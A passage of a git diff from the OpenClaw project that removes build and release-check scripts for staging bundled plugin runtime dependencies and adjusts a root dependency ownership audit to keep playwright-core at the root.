runPackedBundledPluginPostinstall(packageRoot: string): void { }); } -export function collectInstalledBundledPluginRuntimeDepErrors(packageRoot: string): string[] { - const extensionsDir = join(packageRoot, "dist", "extensions"); - if (!existsSync(extensionsDir)) { - return []; - } - const runtimeDeps = discoverBundledPluginRuntimeDeps({ extensionsDir }); - return runtimeDeps - .filter((dep) => !existsSync(join(packageRoot, dep.sentinelPath))) - .map((dep) => { - const owners = dep.pluginIds.length > 0 ? dep.pluginIds.join(", ") : "unknown"; - return `bundled plugin runtime dependency '${dep.name}@${dep.version}' (owners: ${owners}) is missing at ${dep.sentinelPath}.`; - }) - .toSorted((left, right) => left.localeCompare(right)); -} - -function bundledRuntimeDependencySentinelPath( - packageRoot: string, - pluginId: string, - dependencyName: string, -): string { - return join( - packageRoot, - "dist", - "extensions", - pluginId, - "node_modules", - ...dependencyName.split("/"), - "package.json", - ); -} - -export function bundledRuntimeDependencySentinelCandidates( - packageRoot: string, - pluginId: string, - dependencyName: string, - env: NodeJS.ProcessEnv = process.env, -): string[] { - const dependencyParts = dependencyName.split("/"); - const packageRoots = [ - packageRoot, - (() => { - try { - return realpathSync(packageRoot); - } catch { - return packageRoot; - } - })(), - ]; - const runtimeRoots = packageRoots.flatMap((root) => [ - resolveBundledRuntimeDependencyPackageInstallRoot(root, { env }), - resolveBundledRuntimeDependencyInstallRoot(join(root, "dist", "extensions", pluginId), { - env, - }), - ]); - return [ - bundledRuntimeDependencySentinelPath(packageRoot, pluginId, dependencyName), - join(packageRoot, "dist", "extensions", "node_modules", ...dependencyParts, "package.json"), - join(packageRoot, "node_modules", ...dependencyParts, "package.json"), - ...runtimeRoots.map((root) => join(root, "node_modules", ...dependencyParts, "package.json")), - ].filter((candidate, index, candidates) => candidates.indexOf(candidate) === index); -} - -function assertBundledRuntimeDependencyAbsent(params: { - packageRoot: string; - pluginId: string; - dependencyName: string; - env?: NodeJS.ProcessEnv; -}): void { - const sentinelPath = bundledRuntimeDependencySentinelCandidates( - params.packageRoot, - params.pluginId, - params.dependencyName, - params.env, - ).find((candidate) => existsSync(candidate)); - if (sentinelPath) { - throw new Error( - `release-check: ${params.pluginId} runtime dependency ${params.dependencyName} was installed before plugin activation (${sentinelPath}).`, - ); - } -} - -function assertBundledRuntimeDependencyPresent(params: { - packageRoot: string; - pluginId: string; - dependencyName: string; - env?: NodeJS.ProcessEnv; -}): void { - const sentinelPath = bundledRuntimeDependencySentinelCandidates( - params.packageRoot, - params.pluginId, - params.dependencyName, - params.env, - ).find((candidate) => existsSync(candidate)); - if (sentinelPath) { - return; - } - throw new Error( - `release-check: ${params.pluginId} runtime dependency ${params.dependencyName} was not installed during plugin activation.`, - ); -} - function writePackedBundledPluginActivationConfig(homeDir: string): void { const configPath = join(homeDir, ".openclaw", "openclaw.json"); mkdirSync(join(homeDir, ".openclaw"), { recursive: true }); @@ -490,20 +356,12 @@ function writePackedBundledPluginActivationConfig(homeDir: string): void { } function runPackedBundledPluginActivationSmoke(packageRoot: string, tmpRoot: string): void { - const lazyDeps = [ - { pluginId: "browser", dependencyName: "playwright-core" }, - { pluginId: "feishu", dependencyName: "@larksuiteoapi/node-sdk" }, - ] as const; - const homeDir = join(tmpRoot, "activation-home"); mkdirSync(homeDir, { recursive: true }); const env = createPackedCliSmokeEnv(process.env, { HOME: homeDir, OPENAI_API_KEY: "sk-openclaw-release-check", }); - for (const dep of lazyDeps) { - assertBundledRuntimeDependencyAbsent({ packageRoot, env, ...dep }); - } writePackedBundledPluginActivationConfig(homeDir); execFileSync(process.execPath, [join(packageRoot, "openclaw.mjs"), "plugins", "doctor"], { @@ -511,10 +369,6 @@ function runPackedBundledPluginActivationSmoke(packageRoot: string, tmpRoot: str stdio: "inherit", env, }); - - for (const dep of lazyDeps) { - assertBundledRuntimeDependencyPresent({ packageRoot, env, ...dep }); - } } function runPackedTaskRegistryControlRuntimeSmoke(packageRoot: string): void { @@ -684,7 +538,7 @@ export function collectForbiddenPackPaths(paths: Iterable): string[] { return [...paths] .filter( (path) => - isBundledRuntimeDepsInstallStagePath(path) || + isLegacyPluginDependencyInstallStagePath(path) || forbiddenPrefixes.some((prefix) => path.startsWith(prefix)) || /(^|\/)\.openclaw-runtime-deps-[^/]+(\/|$)/u.test(path) || path.endsWith("/.openclaw-runtime-deps-stamp.json") || diff --git a/scripts/root-dependency-ownership-audit.mjs b/scripts/root-dependency-ownership-audit.mjs index 10e2806adf9..9b31d831d34 100644 --- a/scripts/root-dependency-ownership-audit.mjs +++ b/scripts/root-dependency-ownership-audit.mjs @@ -3,11 +3,7 @@ import fs from "node:fs"; import path from "node:path"; import { pathToFileURL } from "node:url"; -import { - collectBundledPluginRuntimeDependencySpecs, - collectRootDistBundledRuntimeMirrors, - packageNameFromSpecifier, -} from "./lib/bundled-plugin-root-runtime-mirrors.mjs"; +import { packageNameFromSpecifier } from "./lib/bundled-plugin-root-runtime-mirrors.mjs"; const DEFAULT_SCAN_ROOTS = ["src", "extensions", "packages", "ui", "scripts", "test"]; const SCANNED_EXTENSIONS = new Set([".cjs", ".cts", ".js", ".jsx", ".mjs", ".mts", ".ts", ".tsx"]); @@ -23,6 +19,12 @@ const DYNAMIC_CONSTANT_IMPORT_PATTERNS = [ /\brequire\s*\(\s*([_$A-Za-z][\w$]*)\s*\)/g, /\b(?:require|[_$A-Za-z][\w$]*require[\w$]*)\.resolve\s*\(\s*([_$A-Za-z][\w$]*)\s*\)/gi, ]; +const ROOT_OWNED_EXTENSION_RUNTIME_DEPENDENCIES = new Map([ + [ + "playwright-core", + "keep at root; the internal browser runtime is shipped with core even though downloadable browser-adjacent plugins also declare it", + ], +]); function readJson(filePath) { return JSON.parse(fs.readFileSync(filePath, "utf8")); @@ -149,16 +151,6 @@ function sectionSetIsSubsetOf(sectionSet, allowed) { export function classifyRootDependencyOwnership(record) { const sections = new Set(record.sections); - if (record.rootMirrorImporters.length > 0) { - if (!sectionSetContainsCore(sections)) { - return { - category: "extension_only_localizable", - recommendation: - "remove from root package.json and rely on owning extension manifests plus doctor --fix", - }; - } - } - if (sections.size === 0) { return { category: "unreferenced", @@ -187,6 +179,17 @@ export function classifyRootDependencyOwnership(record) { }; } + const rootOwnedExtensionRuntime = ROOT_OWNED_EXTENSION_RUNTIME_DEPENDENCIES.get(record.depName); + if ( + rootOwnedExtensionRuntime && + sectionSetIsSubsetOf(sections, new Set(["extensions", "test"])) + ) { + return { + category: "root_owned_extension_runtime", + recommendation: rootOwnedExtensionRuntime, + }; + } + if (sectionSetIsSubsetOf(sections, new Set(["extensions", "test"]))) { return { category: "extension_only_localizable", @@ -216,7 +219,6 @@ export function collectRootDependencyOwnershipAudit(params = {}) { sections: new Set(), files: new Set(), declaredInExtensions: [], - rootMirrorImporters: [], spec: rootDependencies[depName], }, ]), @@ -247,26 +249,6 @@ export function collectRootDependencyOwnershipAudit(params = {}) { } } - const distDir = path.join(repoRoot, "dist"); - if (fs.existsSync(distDir)) { - const bundledSpecs = collectBundledPluginRuntimeDependencySpecs( - path.join(repoRoot, "extensions"), - ); - const rootMirrors = collectRootDistBundledRuntimeMirrors({ - bundledRuntimeDependencySpecs: bundledSpecs, - distDir, - }); - for (const [depName, mirror] of rootMirrors) { - const record = records.get(depName); - if (!record) { - continue; - } - record.rootMirrorImporters = [...mirror.importers].toSorted((left, right) => - left.localeCompare(right), - ); - } - } - return [...records.values()] .map((record) => { const classification = classifyRootDependencyOwnership({ @@ -280,7 +262,6 @@ export function collectRootDependencyOwnershipAudit(params = {}) { fileCount: record.files.size, sampleFiles: [...record.files].slice(0, 5), declaredInExtensions: record.declaredInExtensions, - rootMirrorImporters: record.rootMirrorImporters, category: classification.category, recommendation: classification.recommendation, }; @@ -320,9 +301,6 @@ function printTextReport(records) { if (record.declaredInExtensions.length > 0) { details.push(`extensions=${record.declaredInExtensions.join(",")}`); } - if (record.rootMirrorImporters.length > 0) { - details.push(`rootDist=${record.rootMirrorImporters.join(",")}`); - } console.log(`- ${record.depName}@${record.spec} :: ${details.join(" | ")}`); console.log(` ${record.recommendation}`); } diff --git a/scripts/run-node.mjs b/scripts/run-node.mjs index c0896c3984d..ab8e5db04b5 100644 --- a/scripts/run-node.mjs +++ b/scripts/run-node.mjs @@ -33,7 +33,6 @@ const runtimePostBuildWatchedPaths = [ "scripts/runtime-postbuild-stamp.mjs", "scripts/runtime-postbuild-shared.mjs", "scripts/runtime-postbuild.mjs", - "scripts/stage-bundled-plugin-runtime-deps.mjs", "scripts/stage-bundled-plugin-runtime.mjs", "scripts/windows-cmd-helpers.mjs", "scripts/write-official-channel-catalog.mjs", diff --git a/scripts/runtime-postbuild.mjs b/scripts/runtime-postbuild.mjs index 2bcf936f494..2d9132ef93f 100644 --- a/scripts/runtime-postbuild.mjs +++ b/scripts/runtime-postbuild.mjs @@ -5,7 +5,6 @@ import { fileURLToPath, pathToFileURL } from "node:url"; import { copyBundledPluginMetadata } from "./copy-bundled-plugin-metadata.mjs"; import { copyPluginSdkRootAlias } from "./copy-plugin-sdk-root-alias.mjs"; import { writeTextFileIfChanged } from "./runtime-postbuild-shared.mjs"; -import { stageBundledPluginRuntimeDeps } from "./stage-bundled-plugin-runtime-deps.mjs"; import { stageBundledPluginRuntime } from "./stage-bundled-plugin-runtime.mjs"; import { writeOfficialChannelCatalog } from "./write-official-channel-catalog.mjs"; @@ -124,7 +123,6 @@ export function runRuntimePostBuild(params = {}) { runPhase("plugin SDK root alias", () => copyPluginSdkRootAlias(params)); runPhase("bundled plugin metadata", () => copyBundledPluginMetadata(params)); runPhase("official channel catalog", () => writeOfficialChannelCatalog(params)); - runPhase("bundled plugin runtime deps", () => stageBundledPluginRuntimeDeps(params)); runPhase("bundled plugin runtime overlay", () => stageBundledPluginRuntime(params)); runPhase("stable root runtime aliases", () => writeStableRootRuntimeAliases(params)); runPhase("legacy CLI exit compat chunks", () => writeLegacyCliExitCompatChunks(params)); diff --git a/scripts/stage-bundled-plugin-runtime-deps.mjs b/scripts/stage-bundled-plugin-runtime-deps.mjs deleted file mode 100644 index 3e611b36bae..00000000000 --- a/scripts/stage-bundled-plugin-runtime-deps.mjs +++ /dev/null @@ -1,461 +0,0 @@ -import fs from "node:fs"; -import path from "node:path"; -import { performance } from "node:perf_hooks"; -import { pathToFileURL } from "node:url"; -import { - createBundledRuntimeDependencyInstallArgs, - createBundledRuntimeDependencyInstallEnv, - runBundledRuntimeDependencyNpmInstall, -} from "./lib/bundled-runtime-deps-install.mjs"; -import { - listBundledPluginRuntimeDirs, - resolveInstalledWorkspacePluginRoot, - stageInstalledRootRuntimeDeps, -} from "./lib/bundled-runtime-deps-materialize.mjs"; -import { - readInstalledDependencyVersionFromRoot, - resolveInstalledDependencyRoot, - resolveInstalledRuntimeClosureFingerprint, -} from "./lib/bundled-runtime-deps-package-tree.mjs"; -import { - pruneStagedRuntimeDependencyCargo, - resolveRuntimeDepPruneConfig, -} from "./lib/bundled-runtime-deps-prune.mjs"; -import { - assertPathIsNotSymlink, - makePluginOwnedTempDir, - removeLegacyBundledRuntimeDepsSymlink, - removeOwnedTempPathBestEffort, - removePathIfExists, - removeStaleRuntimeDepsTempDirs, - replaceDirAtomically, - sanitizeTempPrefixSegment, - writeJsonAtomically, - writeRuntimeDepsTempOwner, -} from "./lib/bundled-runtime-deps-stage-state.mjs"; -import { - createRuntimeDepsCheapFingerprint, - createRuntimeDepsFingerprint, - readRuntimeDepsStamp, - resolveLegacyRuntimeDepsStampPath, - resolveRuntimeDepsStampPath, -} from "./lib/bundled-runtime-deps-stamp.mjs"; -import { resolveNpmRunner } from "./npm-runner.mjs"; - -const exactVersionSpecRe = /^\d+\.\d+\.\d+(?:-[0-9A-Za-z.-]+)?$/u; - -function readJson(filePath) { - return JSON.parse(fs.readFileSync(filePath, "utf8")); -} - -function writeJson(filePath, value) { - fs.writeFileSync(filePath, `${JSON.stringify(value, null, 2)}\n`, "utf8"); -} - -function hasRuntimeDeps(packageJson) { - return ( - Object.keys(packageJson.dependencies ?? {}).length > 0 || - Object.keys(packageJson.optionalDependencies ?? {}).length > 0 - ); -} - -function shouldStageRuntimeDeps(packageJson) { - return packageJson.openclaw?.bundle?.stageRuntimeDependencies === true; -} - -function sanitizeBundledManifestForRuntimeInstall(pluginDir) { - const manifestPath = path.join(pluginDir, "package.json"); - const packageJson = readJson(manifestPath); - let changed = false; - - if (packageJson.peerDependencies) { - delete packageJson.peerDependencies; - changed = true; - } - - if (packageJson.peerDependenciesMeta) { - delete packageJson.peerDependenciesMeta; - changed = true; - } - - if (packageJson.devDependencies) { - delete packageJson.devDependencies; - changed = true; - } - - if (changed) { - writeJson(manifestPath, packageJson); - } - - return packageJson; -} - -function isSafeRuntimeDependencySpec(spec) { - if (typeof spec !== "string") { - return false; - } - const normalized = spec.trim(); - if (normalized.length === 0) { - return false; - } - const lower = normalized.toLowerCase(); - if ( - lower.startsWith("file:") || - lower.startsWith("link:") || - lower.startsWith("workspace:") || - lower.startsWith("git:") || - lower.startsWith("git+") || - lower.startsWith("ssh:") || - lower.startsWith("http:") || - lower.startsWith("https:") - ) { - return false; - } - if (normalized.includes("://")) { - return false; - } - if ( - normalized.startsWith("/") || - normalized.startsWith("\\") || - normalized.startsWith("../") || - normalized.startsWith("..\\") || - normalized.includes("/../") || - normalized.includes("\\..\\") - ) { - return false; - } - return true; -} - -function assertSafeRuntimeDependencySpec(depName, spec) { - if (!isSafeRuntimeDependencySpec(spec)) { - throw new Error(`disallowed runtime dependency spec for ${depName}: ${spec}`); - } -} - -function resolveInstalledPinnedDependencyVersion(params) { - const depRoot = resolveInstalledDependencyRoot({ - depName: params.depName, - enforceSpec: true, - parentPackageRoot: params.parentPackageRoot, - rootNodeModulesDir: params.rootNodeModulesDir, - spec: params.spec, - }); - if (depRoot === null) { - return null; - } - return readInstalledDependencyVersionFromRoot(depRoot); -} - -function resolvePinnedRuntimeDependencyVersion(params) { - assertSafeRuntimeDependencySpec(params.depName, params.spec); - if (exactVersionSpecRe.test(params.spec)) { - return params.spec; - } - const installedVersion = resolveInstalledPinnedDependencyVersion(params); - if (typeof installedVersion === "string" && exactVersionSpecRe.test(installedVersion)) { - return installedVersion; - } - throw new Error( - `runtime dependency ${params.depName} must resolve to an exact installed version, got: ${params.spec}`, - ); -} - -function collectRuntimeDependencyGroups(packageJson) { - const readRuntimeGroup = (group) => - Object.fromEntries( - Object.entries(group ?? {}).filter( - (entry) => typeof entry[0] === "string" && typeof entry[1] === "string", - ), - ); - return { - dependencies: readRuntimeGroup(packageJson.dependencies), - optionalDependencies: readRuntimeGroup(packageJson.optionalDependencies), - }; -} - -function resolvePinnedRuntimeDependencyGroup(group, params = {}) { - return Object.fromEntries( - Object.entries(group).map(([name, version]) => { - const pinnedVersion = resolvePinnedRuntimeDependencyVersion({ - depName: name, - parentPackageRoot: params.directDependencyPackageRoot ?? null, - rootNodeModulesDir: params.rootNodeModulesDir ?? path.join(process.cwd(), "node_modules"), - spec: version, - }); - return [name, pinnedVersion]; - }), - ); -} - -function resolvePinnedRuntimeDependencyGroups(packageJson, params = {}) { - const runtimeGroups = collectRuntimeDependencyGroups(packageJson); - return { - dependencies: resolvePinnedRuntimeDependencyGroup(runtimeGroups.dependencies, params), - optionalDependencies: resolvePinnedRuntimeDependencyGroup( - runtimeGroups.optionalDependencies, - params, - ), - }; -} - -export function collectRuntimeDependencyInstallManifest(packageJson, params = {}) { - const pinnedGroups = resolvePinnedRuntimeDependencyGroups(packageJson, params); - return createRuntimeInstallManifest(params.pluginId ?? "runtime-deps", pinnedGroups); -} - -export function collectRuntimeDependencyInstallSpecs(packageJson, params = {}) { - const manifest = collectRuntimeDependencyInstallManifest(packageJson, params); - const buildSpecs = (group) => - Object.entries(group ?? {}).map(([name, version]) => `${name}@${String(version)}`); - return { - dependencies: buildSpecs(manifest.dependencies), - optionalDependencies: buildSpecs(manifest.optionalDependencies), - }; -} - -function createRuntimeInstallManifest(pluginId, pinnedGroups) { - const manifest = { - name: `openclaw-runtime-deps-${sanitizeTempPrefixSegment(pluginId)}`, - private: true, - version: "0.0.0", - }; - if (Object.keys(pinnedGroups.dependencies).length > 0) { - manifest.dependencies = pinnedGroups.dependencies; - } - if (Object.keys(pinnedGroups.optionalDependencies).length > 0) { - manifest.optionalDependencies = pinnedGroups.optionalDependencies; - } - return manifest; -} - -function runNpmInstall(params) { - return runBundledRuntimeDependencyNpmInstall({ - cwd: params.cwd, - npmRunner: params.npmRunner, - env: createBundledRuntimeDependencyInstallEnv(params.npmRunner.env ?? process.env, { - ci: true, - quiet: true, - }), - spawnSyncImpl: params.spawnSyncImpl, - stdio: ["ignore", "pipe", "pipe"], - timeout: params.timeoutMs ?? 5 * 60 * 1000, - }); -} - -function installPluginRuntimeDepsWithRetries(params) { - const { attempts = 3 } = params; - let lastError; - for (let attempt = 1; attempt <= attempts; attempt += 1) { - try { - params.install({ ...params.installParams, attempt }); - return; - } catch (error) { - lastError = error; - if (attempt === attempts) { - break; - } - } - } - throw lastError; -} - -function createRootRuntimeStagingError(params) { - const runtimeDependencyNames = [ - ...Object.keys(params.packageJson.dependencies ?? {}), - ...Object.keys(params.packageJson.optionalDependencies ?? {}), - ].toSorted((left, right) => left.localeCompare(right)); - const dependencyLabel = - runtimeDependencyNames.length > 0 ? runtimeDependencyNames.join(", ") : ""; - const causeMessage = - params.cause instanceof Error && typeof params.cause.message === "string" - ? ` Cause: ${params.cause.message}` - : ""; - return new Error( - `failed to stage bundled runtime deps for ${params.pluginId}: ` + - `runtime dependency closure must resolve from the installed root workspace graph. ` + - `Could not materialize: ${dependencyLabel}. ` + - "Run `pnpm install` and rebuild from a trusted workspace checkout, or provide a hardened fallback installer." + - causeMessage, - ); -} - -function installPluginRuntimeDeps(params) { - const { - directDependencyPackageRoot = null, - cheapFingerprint, - fingerprint, - packageJson, - pluginDir, - pluginId, - pruneConfig, - repoRoot, - stampPath, - } = params; - const nodeModulesDir = path.join(pluginDir, "node_modules"); - const tempInstallDir = makePluginOwnedTempDir(pluginDir, "install"); - const pinnedGroups = resolvePinnedRuntimeDependencyGroups(packageJson, { - directDependencyPackageRoot, - rootNodeModulesDir: path.join(repoRoot, "node_modules"), - }); - const requiredDependencyCount = Object.keys(pinnedGroups.dependencies).length; - try { - writeJson( - path.join(tempInstallDir, "package.json"), - createRuntimeInstallManifest(pluginId, pinnedGroups), - ); - if (requiredDependencyCount > 0 || Object.keys(pinnedGroups.optionalDependencies).length > 0) { - runNpmInstall({ - cwd: tempInstallDir, - npmRunner: resolveNpmRunner({ - npmArgs: createBundledRuntimeDependencyInstallArgs([], { - noAudit: true, - noFund: true, - silent: true, - }), - }), - }); - } - const stagedNodeModulesDir = path.join(tempInstallDir, "node_modules"); - if (requiredDependencyCount > 0 && !fs.existsSync(stagedNodeModulesDir)) { - throw new Error( - `failed to stage bundled runtime deps for ${pluginId}: explicit npm install produced no node_modules directory`, - ); - } - if (fs.existsSync(stagedNodeModulesDir)) { - pruneStagedRuntimeDependencyCargo(stagedNodeModulesDir, pruneConfig); - removeLegacyBundledRuntimeDepsSymlink(nodeModulesDir, repoRoot); - replaceDirAtomically(nodeModulesDir, stagedNodeModulesDir); - } else { - removeLegacyBundledRuntimeDepsSymlink(nodeModulesDir, repoRoot); - assertPathIsNotSymlink(nodeModulesDir, "remove runtime deps"); - removePathIfExists(nodeModulesDir); - } - writeJsonAtomically(stampPath, { - cheapFingerprint, - fingerprint, - generatedAt: new Date().toISOString(), - }); - } finally { - removeOwnedTempPathBestEffort(tempInstallDir); - } -} - -export function stageBundledPluginRuntimeDeps(params = {}) { - const repoRoot = params.cwd ?? params.repoRoot ?? process.cwd(); - const installPluginRuntimeDepsImpl = - params.installPluginRuntimeDepsImpl ?? installPluginRuntimeDeps; - const installAttempts = params.installAttempts ?? 3; - const pruneConfig = resolveRuntimeDepPruneConfig(params); - const timingsEnabled = - params.timings ?? process.env.OPENCLAW_RUNTIME_DEPS_STAGING_TIMINGS === "1"; - const runPluginPhase = (pluginId, label, action) => { - const startedAt = performance.now(); - try { - return action(); - } finally { - if (timingsEnabled) { - const durationMs = Math.round(performance.now() - startedAt); - console.error( - `stage-bundled-plugin-runtime-deps: ${pluginId} ${label} completed in ${durationMs}ms`, - ); - } - } - }; - for (const pluginDir of listBundledPluginRuntimeDirs(repoRoot)) { - const pluginId = path.basename(pluginDir); - const sourcePluginRoot = resolveInstalledWorkspacePluginRoot(repoRoot, pluginId); - const directDependencyPackageRoot = fs.existsSync(path.join(sourcePluginRoot, "package.json")) - ? sourcePluginRoot - : null; - const packageJson = runPluginPhase(pluginId, "sanitize manifest", () => - sanitizeBundledManifestForRuntimeInstall(pluginDir), - ); - const nodeModulesDir = path.join(pluginDir, "node_modules"); - const stampPath = resolveRuntimeDepsStampPath(repoRoot, pluginId); - const legacyStampPath = resolveLegacyRuntimeDepsStampPath(pluginDir); - runPluginPhase(pluginId, "cleanup stale runtime dirs", () => { - removePathIfExists(legacyStampPath); - removeStaleRuntimeDepsTempDirs(pluginDir); - }); - if (!hasRuntimeDeps(packageJson) || !shouldStageRuntimeDeps(packageJson)) { - runPluginPhase(pluginId, "remove unstaged runtime deps", () => { - removePathIfExists(nodeModulesDir); - removePathIfExists(stampPath); - }); - continue; - } - const cheapFingerprint = runPluginPhase(pluginId, "cheap fingerprint", () => - createRuntimeDepsCheapFingerprint(packageJson, pruneConfig, { - repoRoot, - }), - ); - const stamp = readRuntimeDepsStamp(stampPath); - const rootInstalledRuntimeFingerprint = runPluginPhase( - pluginId, - "installed runtime fingerprint", - () => - resolveInstalledRuntimeClosureFingerprint({ - directDependencyPackageRoot, - packageJson, - rootNodeModulesDir: path.join(repoRoot, "node_modules"), - }), - ); - const fingerprint = createRuntimeDepsFingerprint(packageJson, pruneConfig, { - repoRoot, - rootInstalledRuntimeFingerprint, - }); - if (fs.existsSync(nodeModulesDir) && stamp?.fingerprint === fingerprint) { - runPluginPhase(pluginId, "reuse staged runtime deps", () => {}); - continue; - } - if ( - runPluginPhase(pluginId, "stage installed root runtime deps", () => - stageInstalledRootRuntimeDeps({ - directDependencyPackageRoot, - fingerprint, - cheapFingerprint, - packageJson, - pluginDir, - pruneConfig, - repoRoot, - stampPath, - }), - ) - ) { - continue; - } - try { - runPluginPhase(pluginId, "fallback install runtime deps", () => - installPluginRuntimeDepsWithRetries({ - attempts: installAttempts, - install: installPluginRuntimeDepsImpl, - installParams: { - directDependencyPackageRoot, - fingerprint, - cheapFingerprint, - packageJson, - pluginDir, - pluginId, - pruneConfig, - repoRoot, - stampPath, - }, - }), - ); - } catch (error) { - throw createRootRuntimeStagingError({ packageJson, pluginId, cause: error }); - } - } -} - -export const __testing = { - removeStaleRuntimeDepsTempDirs, - replaceDirAtomically, - runNpmInstall, - writeRuntimeDepsTempOwner, -}; - -if (import.meta.url === pathToFileURL(process.argv[1] ?? "").href) { - stageBundledPluginRuntimeDeps(); -} diff --git a/scripts/stage-bundled-plugin-runtime.mjs b/scripts/stage-bundled-plugin-runtime.mjs index bda39188175..38cdab272a4 100644 --- a/scripts/stage-bundled-plugin-runtime.mjs +++ b/scripts/stage-bundled-plugin-runtime.mjs @@ -3,10 +3,6 @@ import path from "node:path"; import { pathToFileURL } from "node:url"; import { removePathIfExists } from "./runtime-postbuild-shared.mjs"; -function symlinkType() { - return process.platform === "win32" ? "junction" : "dir"; -} - function relativeSymlinkTarget(sourcePath, targetPath) { const relativeTarget = path.relative(path.dirname(targetPath), sourcePath); return relativeTarget || "."; @@ -77,27 +73,6 @@ function writeJsonFile(targetPath, value) { fs.writeFileSync(targetPath, `${JSON.stringify(value, null, 2)}\n`, "utf8"); } -function removeStaleOpenClawSelfReference(sourcePluginNodeModulesDir, repoRoot) { - if (!fs.existsSync(sourcePluginNodeModulesDir)) { - return; - } - - const selfReferencePath = path.join(sourcePluginNodeModulesDir, "openclaw"); - try { - const existing = fs.lstatSync(selfReferencePath); - if (!existing.isSymbolicLink()) { - return; - } - if (fs.realpathSync(selfReferencePath) === fs.realpathSync(repoRoot)) { - removePathIfExists(selfReferencePath); - } - } catch (error) { - if (error?.code !== "ENOENT") { - throw error; - } - } -} - function ensureOpenClawExtensionAlias(params) { const pluginSdkDir = path.join(params.repoRoot, "dist", "plugin-sdk"); if (!fs.existsSync(pluginSdkDir)) { @@ -231,21 +206,6 @@ function stagePluginRuntimeOverlay(sourceDir, targetDir, relativeDir = "") { } } -function linkPluginNodeModules(params) { - const runtimeNodeModulesDir = path.join(params.runtimePluginDir, "node_modules"); - removePathIfExists(runtimeNodeModulesDir); - if (!fs.existsSync(params.sourcePluginNodeModulesDir)) { - return; - } - removeStaleOpenClawSelfReference(params.sourcePluginNodeModulesDir, params.repoRoot); - ensureSymlink( - params.sourcePluginNodeModulesDir, - runtimeNodeModulesDir, - symlinkType(), - params.sourcePluginNodeModulesDir, - ); -} - export function stageBundledPluginRuntime(params = {}) { const repoRoot = params.cwd ?? params.repoRoot ?? process.cwd(); const distRoot = path.join(repoRoot, "dist"); @@ -268,14 +228,8 @@ export function stageBundledPluginRuntime(params = {}) { } const distPluginDir = path.join(distExtensionsRoot, dirent.name); const runtimePluginDir = path.join(runtimeExtensionsRoot, dirent.name); - const distPluginNodeModulesDir = path.join(distPluginDir, "node_modules"); stagePluginRuntimeOverlay(distPluginDir, runtimePluginDir); - linkPluginNodeModules({ - repoRoot, - runtimePluginDir, - sourcePluginNodeModulesDir: distPluginNodeModulesDir, - }); } } diff --git a/scripts/test-built-bundled-runtime-deps.mjs b/scripts/test-built-bundled-runtime-deps.mjs deleted file mode 100644 index 690d348c024..00000000000 --- a/scripts/test-built-bundled-runtime-deps.mjs +++ /dev/null @@ -1,252 +0,0 @@ -import assert from "node:assert/strict"; -import { spawnSync } from "node:child_process"; -import fs from "node:fs"; -import os from "node:os"; -import path from "node:path"; -import { pathToFileURL } from "node:url"; -import { - collectBuiltBundledPluginStagedRuntimeDependencyErrors, - collectBundledPluginRootRuntimeMirrorErrors, - collectBundledPluginRuntimeDependencySpecs, - collectDeclaredRootRuntimeDependencyMetadataErrors, - collectRootDistBundledRuntimeMirrors, -} from "./lib/bundled-plugin-root-runtime-mirrors.mjs"; -import { parsePackageRootArg } from "./lib/package-root-args.mjs"; - -const { packageRoot } = parsePackageRootArg( - process.argv.slice(2), - "OPENCLAW_BUNDLED_RUNTIME_DEPS_ROOT", -); -const rootPackageJsonPath = path.join(packageRoot, "package.json"); -const builtPluginsDir = path.join(packageRoot, "dist", "extensions"); - -assert.ok(fs.existsSync(rootPackageJsonPath), `package.json missing from ${packageRoot}`); -assert.ok(fs.existsSync(builtPluginsDir), `built bundled plugins missing from ${builtPluginsDir}`); - -const rootPackageJson = JSON.parse(fs.readFileSync(rootPackageJsonPath, "utf8")); -const bundledRuntimeDependencySpecs = collectBundledPluginRuntimeDependencySpecs( - path.join(packageRoot, "extensions"), -); -const requiredRootMirrors = collectRootDistBundledRuntimeMirrors({ - bundledRuntimeDependencySpecs, - distDir: path.join(packageRoot, "dist"), -}); -const errors = [ - ...collectBundledPluginRootRuntimeMirrorErrors({ - bundledRuntimeDependencySpecs, - requiredRootMirrors, - rootPackageJson, - }), - ...collectDeclaredRootRuntimeDependencyMetadataErrors(rootPackageJson), - ...collectBuiltBundledPluginStagedRuntimeDependencyErrors({ - bundledPluginsDir: builtPluginsDir, - }), -]; - -assert.deepEqual(errors, [], errors.join("\n")); - -function packageNodeModulesPath(nodeModulesDir, packageName) { - return path.join(nodeModulesDir, ...packageName.split("/")); -} - -function stageBrowserRuntimeDependencyStub(stageNodeModulesDir, packageName) { - const packageDir = packageNodeModulesPath(stageNodeModulesDir, packageName); - fs.mkdirSync(packageDir, { recursive: true }); - fs.writeFileSync( - path.join(packageDir, "package.json"), - `${JSON.stringify( - { - name: packageName, - version: "0.0.0", - main: "./index.cjs", - }, - null, - 2, - )}\n`, - "utf8", - ); - - if (packageName === "playwright-core") { - fs.writeFileSync( - path.join(packageDir, "index.cjs"), - [ - "module.exports = {", - " chromium: { marker: 'stub-chromium' },", - " devices: { 'Stub Device': { marker: 'stub-device' } },", - "};", - "", - ].join("\n"), - "utf8", - ); - return; - } - - if (packageName === "typebox") { - fs.writeFileSync( - path.join(packageDir, "index.cjs"), - [ - "const createSchema = (kind, value = {}) => ({ kind, ...value });", - "const Type = new Proxy(function Type() {}, {", - " get(_target, prop) {", - " if (prop === Symbol.toStringTag) {", - " return 'Type';", - " }", - " return (...args) => createSchema(String(prop), { args });", - " },", - "});", - "module.exports = { Type };", - "", - ].join("\n"), - "utf8", - ); - return; - } - - fs.writeFileSync(path.join(packageDir, "index.cjs"), "module.exports = {};\n", "utf8"); -} - -function findBuiltBrowserEntryPath(distDir) { - const candidates = fs - .readdirSync(distDir, { withFileTypes: true }) - .filter((entry) => entry.isFile() && /^pw-ai-(?!state-).*\.js$/u.test(entry.name)) - .map((entry) => path.join(distDir, entry.name)) - .toSorted((left, right) => left.localeCompare(right)); - if (candidates.length === 0) { - throw new assert.AssertionError({ - message: `missing built pw-ai entry under ${distDir}`, - }); - } - return candidates[0]; -} - -function createBuiltBrowserImportSmokeFixture(packageRoot) { - const tempRoot = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-built-browser-smoke-")); - const tempDistDir = path.join(tempRoot, "dist"); - const tempNodeModulesDir = path.join(tempRoot, "node_modules"); - const stageNodeModulesDir = path.join( - tempRoot, - ".openclaw", - "plugin-runtime-deps", - "browser", - "node_modules", - ); - - fs.cpSync(path.join(packageRoot, "dist"), tempDistDir, { - recursive: true, - dereference: true, - }); - fs.copyFileSync(path.join(packageRoot, "package.json"), path.join(tempRoot, "package.json")); - fs.cpSync(path.join(packageRoot, "node_modules"), 